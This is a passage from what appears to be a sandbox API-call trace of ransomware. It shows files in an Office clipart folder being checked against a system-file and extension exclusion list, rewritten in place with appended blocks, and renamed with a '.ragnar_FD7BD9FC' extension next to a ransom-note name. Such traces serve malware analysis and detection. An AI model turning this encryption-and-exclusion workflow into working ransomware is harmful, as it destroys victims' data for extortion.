nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.187] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.187] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.188] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.188] GetProcessHeap () returned 0x580000 [0083.188] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.188] CloseHandle (hObject=0xf4) returned 1 [0083.188] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" [0083.188] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.ragnar_FD7BD9FC" [0083.188] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.188] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1 [0083.188] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.188] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099171.WMF" | out: lpString1="J0099171.WMF") returned="J0099171.WMF" [0083.188] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned=".WMF" [0083.188] lstrcmpiW (lpString1="J0099171.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="autorun.inf") returned 1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="boot.ini") returned 1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="bootfont.bin") returned 1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="bootsect.bak") returned 1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="bootmgr") returned 1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="bootmgr.efi") returned 1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="bootmgfw.efi") returned 1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="desktop.ini") returned 1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="iconcache.db") returned 1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="ntldr") returned -1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="ntuser.dat") returned -1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="ntuser.dat.log") returned -1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="ntuser.ini") returned -1 [0083.189] lstrcmpiW (lpString1="J0099171.WMF", lpString2="thumbs.db") returned -1 [0083.189] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.189] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.189] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.189] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.189] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.189] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.189] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 0x20 [0083.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.189] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8754) returned 1 [0083.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.190] GetProcessHeap () returned 0x580000 [0083.190] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.190] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.191] VirtualAlloc (lpAddress=0x0, dwSize=0x2232, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.191] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.191] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.191] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2232, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2232, lpOverlapped=0x0) returned 1 [0083.192] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.192] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2232, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.192] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2232, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2232, lpOverlapped=0x0) returned 1 [0083.192] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2232, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.192] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.193] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.193] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.193] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.193] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.193] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.193] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.193] GetProcessHeap () returned 0x580000 [0083.193] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.193] CloseHandle (hObject=0xf4) returned 1 [0083.193] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" [0083.193] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.ragnar_FD7BD9FC" [0083.193] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.194] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1 [0083.194] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.194] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099172.WMF" | out: lpString1="J0099172.WMF") returned="J0099172.WMF" [0083.194] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned=".WMF" [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="autorun.inf") returned 1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="boot.ini") returned 1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="bootfont.bin") returned 1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="bootsect.bak") returned 1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="bootmgr") returned 1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="bootmgr.efi") returned 1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="bootmgfw.efi") returned 1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="desktop.ini") returned 1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="iconcache.db") returned 1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="ntldr") returned -1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="ntuser.dat") returned -1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="ntuser.dat.log") returned -1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="ntuser.ini") returned -1 [0083.194] lstrcmpiW (lpString1="J0099172.WMF", lpString2="thumbs.db") returned -1 [0083.194] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.194] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.194] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.194] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.195] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.195] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.195] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 0x20 [0083.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.197] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=58258) returned 1 [0083.197] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe389, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.197] GetProcessHeap () returned 0x580000 [0083.197] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.197] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.198] VirtualAlloc (lpAddress=0x0, dwSize=0xe392, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.198] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.198] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.198] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe392, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe392, lpOverlapped=0x0) returned 1 [0083.200] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.200] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe392, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.200] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe392, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe392, lpOverlapped=0x0) returned 1 [0083.201] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe392, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.201] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.201] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe392, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.201] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.201] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.201] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.201] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.202] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.202] GetProcessHeap () returned 0x580000 [0083.202] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.202] CloseHandle (hObject=0xf4) returned 1 [0083.202] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" [0083.202] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.ragnar_FD7BD9FC" [0083.202] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.202] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1 [0083.202] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.203] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099173.WMF" | out: lpString1="J0099173.WMF") returned="J0099173.WMF" [0083.203] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned=".WMF" [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="autorun.inf") returned 1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="boot.ini") returned 1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="bootfont.bin") returned 1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="bootsect.bak") returned 1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="bootmgr") returned 1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="bootmgr.efi") returned 1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="bootmgfw.efi") returned 1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="desktop.ini") returned 1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="iconcache.db") returned 1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="ntldr") returned -1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="ntuser.dat") returned -1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="ntuser.dat.log") returned -1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="ntuser.ini") returned -1 [0083.203] lstrcmpiW (lpString1="J0099173.WMF", lpString2="thumbs.db") returned -1 [0083.203] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.203] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.203] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.203] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.203] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.203] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.203] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 0x20 [0083.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.204] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=37140) returned 1 [0083.204] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x910b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.204] GetProcessHeap () returned 0x580000 [0083.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.204] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.205] VirtualAlloc (lpAddress=0x0, dwSize=0x9114, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.205] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9114, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9114, lpOverlapped=0x0) returned 1 [0083.207] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.207] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9114, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.207] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9114, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9114, lpOverlapped=0x0) returned 1 [0083.207] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9114, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.207] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.208] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.208] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.208] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.208] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.208] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.208] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.208] GetProcessHeap () returned 0x580000 [0083.208] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 